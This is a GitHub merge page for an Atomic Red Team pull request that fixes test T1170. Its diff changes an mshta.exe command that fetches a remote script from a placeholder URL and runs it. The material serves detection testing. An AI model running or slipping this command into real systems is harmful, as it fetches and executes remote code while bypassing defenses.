Merge pull request #334 from redcanaryco/Fix-T1170

Fixed T1170 execution command
This commit is contained in:
Michael Haag
2018-09-06 08:02:08 -04:00
committed by GitHub
2 changed files with 3 additions and 2 deletions
+1 -1
View File
@@ -46,6 +46,6 @@ Test execution of a remote script using mshta.exe
#### Run it with `command_prompt`!
```
mshta.exe javascript:a=GetObject("script:#{file_url}").Exec();close();
mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
```
<br/>
+2 -1
View File
@@ -16,4 +16,5 @@ atomic_tests:
executor:
name: command_prompt
command: |
mshta.exe javascript:a=GetObject("script:#{file_url}").Exec();close();
mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();